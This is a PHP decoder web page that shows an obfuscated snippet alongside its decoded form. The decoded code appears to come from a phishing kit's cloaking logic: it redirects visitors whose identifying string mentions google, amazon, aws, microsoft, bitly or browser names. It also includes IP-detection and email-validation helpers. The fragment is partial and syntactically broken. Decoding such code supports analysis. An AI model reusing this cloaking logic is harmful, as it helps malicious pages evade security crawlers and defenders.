Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (strContains($gam, "\147\157\157\x67\154\145") > 0 strContains($gam, "\x61\155\x61\172..

Decoded Output download

<?  if (strContains($gam, "google") > 0  strContains($gam, "amazon") > 0  strContains($gam, "bitly") > 0  strContains($gam, "bit.ly") > 0  strContains($gam, "aws") > 0  strContains($gam, "microsoft") > 0  strContains($gam, "opera") > 0  strContains($gam, "mozila") > 0  strContains($gam, "firfox") > 0) { redirectToUnknown(); } } goto jzlwt; mSRXE: function is_email($email) : bool { return preg_match("/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,9})+$/", $email); } goto ejnRH; e30o5: function startsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); $length = strlen($pattern); return substr($str, 0, $length) === $pattern; } goto Uor_l; jzlwt: function pick_ip() { global $the_Real_IP; if (strlen($the_Real_IP) > 5) { return $the_Real_IP; } if (!empty($_SERVER["HTTP_X_REAL_IP"])) { $ip = $_SERVER["HTTP_X_REAL_IP"]; } elseif (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["REMOTE_ADDR"])) { $ip = $_SERVER["REMOTE_ADDR"]; } else { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } ?>

Did this file decode correctly?

Original Code

if (strContains($gam, "\147\157\157\x67\154\145") > 0  strContains($gam, "\x61\155\x61\172\157\156") > 0  strContains($gam, "\x62\151\164\154\171") > 0  strContains($gam, "\x62\151\164\56\154\171") > 0  strContains($gam, "\141\167\163") > 0  strContains($gam, "\x6d\x69\x63\x72\x6f\x73\x6f\146\164") > 0  strContains($gam, "\x6f\x70\x65\x72\141") > 0  strContains($gam, "\x6d\x6f\172\x69\154\141") > 0  strContains($gam, "\x66\151\162\x66\157\x78") > 0) { redirectToUnknown(); } } goto jzlwt; mSRXE: function is_email($email) : bool { return preg_match("\x2f\136\134\x77\53\x28\x5b\134\56\x2d\x5d\x3f\x5c\x77\53\x29\x2a\x40\134\167\x2b\x28\x5b\134\x2e\x2d\x5d\x3f\x5c\167\x2b\x29\52\50\134\x2e\134\167\x7b\x32\54\x39\175\x29\x2b\x24\x2f", $email); } goto ejnRH; e30o5: function startsWith(string $str, string $pattern) : bool { $str = strtolower($str); $pattern = strtolower($pattern); $length = strlen($pattern); return substr($str, 0, $length) === $pattern; } goto Uor_l; jzlwt: function pick_ip() { global $the_Real_IP; if (strlen($the_Real_IP) > 5) { return $the_Real_IP; } if (!empty($_SERVER["\110\x54\124\x50\137\130\x5f\x52\105\101\114\x5f\111\120"])) { $ip = $_SERVER["\x48\124\124\120\137\130\x5f\x52\105\x41\114\137\111\120"]; } elseif (!empty($_SERVER["\x48\x54\x54\120\x5f\103\x4c\111\105\x4e\124\137\x49\x50"])) { $ip = $_SERVER["\110\124\x54\120\137\103\114\111\105\116\124\x5f\x49\120"]; } elseif (!empty($_SERVER["\x52\105\x4d\117\124\105\137\x41\x44\104\x52"])) { $ip = $_SERVER["\x52\105\115\117\124\105\137\101\x44\x44\x52"]; } else { $ip = $_SERVER["\x48\x54\124\120\x5f\130\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\122"]; }

Function Calls

None

Variables

None

Stats

MD5 41fec30f2b843bdd58742d2a7e887e8b
Eval Count 0
Decode Time 36 ms